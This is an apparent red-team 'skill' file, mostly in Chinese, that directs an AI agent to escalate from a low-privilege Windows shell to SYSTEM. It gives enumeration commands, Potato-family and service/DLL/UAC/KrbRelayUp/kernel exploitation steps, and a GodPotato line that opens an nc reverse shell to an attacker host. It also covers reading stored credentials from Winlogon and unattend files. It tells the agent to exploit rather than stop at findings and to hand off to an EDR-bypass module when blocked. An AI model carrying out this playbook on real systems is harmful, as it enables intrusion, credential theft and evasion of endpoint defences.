Privesc Win

skill-pale-knight-redteam-skill-privesc-win · by pale-knight

Windows local privilege escalation from a low-privilege shell to Administrator or SYSTEM. Covers quiet vs loud enumeration, SeImpersonate/Potato family including LocalPotato, token privileges (SeBackup/SeRestore/SeManageVolume/SeLoadDriver/SeDebug), service/DLL/COM/scheduled-task abuse, AlwaysInstallElevated and UAC boundary, KrbRelayUp-style domain-joined local admin, and version-gated kernel LP…

About

/privesc-win — Windows 本机提权

> scope: 已有低权限 Windows foothold,打到 Administrator(High IL)或 NT AUTHORITY\SYSTEM。不做横移、域持久化、LSASS/NTDS 凭据收割、主机持久化。▸ 拿到 SYSTEM 后记 notes,候选只认 ~/.claude/skills/shared/modules.yaml(modules.py tail),由操作者选。

本模块是红队攻击模块。条件成立就打到对应权限,不要停在“发现 SeImpersonate / 服务可写”。加用户只是 holster,SYSTEM shell 才是成功。

工具:../shared/tools.md。kernel 有精确 build 才读 ../shared/cve-enrichment.md。走到对应分支再 Read 一份:

  • Potato / LocalPotato → references/potato-family.md
  • Token 特权 → references/token-privileges.md
  • 服务 / DLL / COM / 计划任务 → references/service-dll-task.md
  • Installer / UAC → references/installer-uac.md
  • Kernel LPE 短表 → references/kernel-lpe.md

开局与收尾

开局第一件事:Read ./notes.md。没有则 python ~/.claude/skills/bin/notes.py init。只按已拿下/凭据继续。 走到哪条链,才 Read 一份 references/.md。禁止开局全读、禁止凭记忆写 payload。 监听 / sudo / 输密码 / Permission denied:立刻停,说明等操作者做什么,等回报。不要假装已成功。 收尾:

  1. 追加 ./notes.md
  2. python ~/.claude/skills/bin/modules.py tail

Read 备用:~/.claude/skills/shared/modules.yaml 禁止 ./modules.yaml 和 python ../bin/...

  1. 优先 default_next;never_default 不得当作默认(操作者点名除外)
  2. 名册外的名字不许建议
  3. 停。等操作者选 /模块 或 /clear

/edr-bypass 半条链未完:打通后回本模块,不要 /clear。


0. 成功条件与攻击强度

低权限 Windows shell
        ↓
本机原语成立(特权 / 可写服务 / UAC / 未打补丁 LPE)
        ↓
打到 NT AUTHORITY\SYSTEM 或 High IL 本地管理员,并且能执行命令
        ↓
/privesc-win COMPLETE

成功: whoami 为 nt authority\system,或本地 Administrators + High IL 且能按需再拿到 SYSTEM。

不是成功: 只输出 winPEAS 红项、只记录特权、只 net user /add 却没有 SYSTEM/admin shell。

UAC 绕过(Medium → High)是中途站,不是终点。High 之后继续服务/特权/kernel,直到 SYSTEM 或操作者明确收工。


0.5 Endpoint Defense Boundary — 可选 /edr-bypass Handoff

/privesc-win 自己拥有本机提权链直到 SYSTEM。

仍属本模块、不是 EDR:

没有 SeImpersonate
UAC 完整 + 非管理员组
服务 DACL/文件 ACL 不可写
SMB/LDAP signing(KrbRelayUp 前置)
补丁已修、版本不匹配

只有 提权 payload 已进入 OS 执行 且被 AV/Defender/EDR/AMSI/WDAC/AppLocker/PPL 明确阻断时:

privesc primitive confirmed
        ↓
endpoint security blocks intended action?
├─ NO  → 继续 /privesc-win 直到 SYSTEM
└─ YES → 操作者可临时选择 /edr-bypass
            ↓
         恢复当前动作的执行能力
            ↓
         返回 /privesc-win
            ↓
         拿完 SYSTEM

不要因为 EDR 在场就改成“只做评估、不打 Potato”。被拦再交接,解决后回来打完。


0.6 自动漏洞库

kernel / PrintNightmare / LocalPotato 等 先指纹再查库,禁止 Windows 11 → dump 全部 EoP。

OS Name + Version + UBR/KB
role: workstation / member / DC
Spooler / WinRM / WebClient 状态
→ ../shared/cve-enrichment.md 节 /privesc-win
→ 命中且有公开稳定利用 → references/kernel-lpe.md
systeminfo
ver
wmic qfe get HotFixID,InstalledOn
Get-ComputerInfo | select WindowsProductName,WindowsVersion,OsBuildNumber,OsHardwareAbstractionLayer
Get-HotFix | sort InstalledOn -Descending | select -First 25

无精确 build / 无公开 PoC:标 CANDIDATE,不编 exploit。


1. 决策树(按这个顺序打)

whoami /priv /groups + 完整性级别
        ↓
A. SeImpersonate 或 SeAssignPrimaryToken = Enabled
      → Potato → SYSTEM(GodPotato/SigmaPotato 首选)
B. 无 impersonate,本机 NTLM reflection 未补
      → LocalPotato CVE-2023-21746
C. 服务/DLL/无引号路径/计划任务/COM 可写
      → 替换/劫持 → 等 SYSTEM 启动 → SYSTEM shell
D. SeBackup / SeRestore / SeManageVolume / SeLoadDriver / SeDebug / SeTakeOwnership
      → references/token-privileges.md 对应链
E. Medium IL + 本地管理员组
      → UAC 绕过到 High,再继续 A/C/D
F. AlwaysInstallElevated / 可写 MSI 修复路径
      → references/installer-uac.md
G. 域内机器、普通域用户、LDAP 可中继
      → KrbRelayUp 拿到本机 admin,再 Potato 到 SYSTEM
H. 以上都没有
      → systeminfo 指纹 → ../shared/cve-enrichment.md → references/kernel-lpe.md

同一条链打穿再换下一条。操作者指定模块外方向时才停。


2. 枚举:Quiet 默认,Loud 要操作者同意

2.1 Quiet(企业 / 有 EDR 默认)

whoami
whoami /priv
whoami /groups
net user %username%
net localgroup administrators
hostname
echo %USERDOMAIN%\%USERNAME%
whoami /priv /fo csv
([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole('Administrators')
[System.Security.Principal.WindowsIdentity]::GetCurrent().Groups | ForEach-Object { $_.Translate([System.Security.Principal.NTAccount]) }
Get-Service Spooler,WinRM,WebClient -ErrorAction SilentlyContinue | format-table Name,Status,StartType

关注:

SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege  Enabled
SeBackupPrivilege / SeRestorePrivilege / SeManageVolumePrivilege
SeLoadDriverPrivilege / SeDebugPrivilege / SeTakeOwnershipPrivilege
Mandatory Label\Medium vs High
BUILTIN\Administrators  是否在组但被 UAC 过滤
Backup Operators / Hyper-V Administrators / DNS Admins

服务/任务只做定向查询,不要一上来全盘 Get-ChildItem C:\。

2.2 Loud(OSCP/HTB 或操作者明确同意)

winPEASx64.exe
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"
SharpUp.exe audit

Seatbelt 可补主机画像,不是提权本身。PowerUp 仅当 PrivescCheck/SharpUp 不可用。

winPEAS 标红 ≠ 已利用。对每一条回到决策树真正执行。


3. Token / Potato(最高频)

whoami /priv

SeImpersonatePrivilege 在 IIS / MSSQL / 服务账户上默认常见。Enabled 就打,不要只记笔记。

.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "cmd /c C:\Users\Public\nc64.exe KALI 4444 -e cmd.exe"

成功:回连或输出 nt authority\system。

PrintSpoofer 仅当 Spooler 为 Running。Win10 1809+ 不要用原版 JuicyPotato。无 SeImpersonate 走 LocalPotato。

完整选择矩阵、失败换路、LocalPotato、RogueWinRM → references/potato-family.md

其他特权(Backup/ManageVolume/LoadDriver/Debug)→ references/token-privileges.md


4. 服务 / DLL / 计划任务 / COM

Quiet 定向:

sc qc 
icacls "C:\path\to\service.exe"
accesschk.exe -uwcqv %USERNAME% *
accesschk.exe -uvwqk HKLM\System\CurrentControlSet\Services
Get-CimInstance Win32_Service | Where-Object { $_.StartName -match 'LocalSystem|LocalService|NetworkService' } |
  Select-Object Name,State,StartName,PathName

可写服务 exe、可改 ImagePath、无引号路径、缺 DLL、SYSTEM 计划任务工作目录可写、COM CLSID 可劫持 → 换成 payload,等 SYSTEM 上下文执行后拿 shell,不要停在“ACL 可写”。

完整命令 → references/service-dll-task.md


5. UAC 与 Installer

whoami /groups | findstr /i "Level Administrators"
管理员组 + Medium IL  → UAC 边界,可绕过到 High
管理员组 + High IL    → 已是本地管理员,继续拿 SYSTEM
不在管理员组          → 不要浪费时间刷 fodhelper

AlwaysInstallElevated 两个键都为 0x1 才打。UAC 不是 SYSTEM。

完整 → references/installer-uac.md


6. 存储凭据(仅当能直接变成 admin/SYSTEM)

cmdkey /list
runas /savecred /user:DOMAIN\admin "cmd /c whoami"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
dir /s /b C:\unattend.xml C:\sysprep.xml C:\Windows\Panther\Unattend.xml 2>nul

DefaultPassword / unattend 出明文管理员密码 → 立刻用该身份拿 High/SYSTEM。 reg save HKLM\SAM 需要 SeBackup 或已是 admin,走 references/token-privileges.md,不要当普通用户命令。


7. 域内本机:KrbRelayUp(本机 admin,不是 DA)

条件:机器已加域、当前是域用户、LDAP signing 未强制、可添加机器账户或有可写机器对象。

.\KrbRelayUp.exe relay -m spawn -c powershell

成功 = 本机管理员 shell。然后回到第 3 节 Potato 拿 SYSTEM。 域内身份/DA 路径还不清楚 → 候选 /ad-recon,本模块不展开。不要在这里直接开 /ad-attack。

LDAP signing required 时这条死,换其他本机路径。


8. Kernel / 本地 CVE

不要背 CVE 名单。流程:

systeminfo / Get-HotFix
→ ../shared/cve-enrichment.md
→ 精确 build + 公开稳定 PoC + 非 PPL/HVCI 阻断
→ references/kernel-lpe.md 执行

短名单(仍要版本门):LocalPotato、本地 PrintNightmare、MSKSSRV CVE-2023-29360、CVE-2024-30088。远程 PrintNightmare 不是本模块。

错版本 kernel exploit 会蓝屏。没有公开稳定利用的标 P2,不编命令。


9. 完成后

whoami /all
hostname
ipconfig

记 notes:如何拿到 SYSTEM、用了哪条原语、是否需要还原服务/任务/注册表。 候选只按「开局与收尾」跑 python ~/.claude/skills/bin/modules.py tail。不要在这里另列名单。

还原:服务 exe 从 .bak 拷回、计划任务/COM/UAC 注册表恢复、LocalPotato/kernel 后重启评估。具体 → 对应 reference 的 RESTORE。
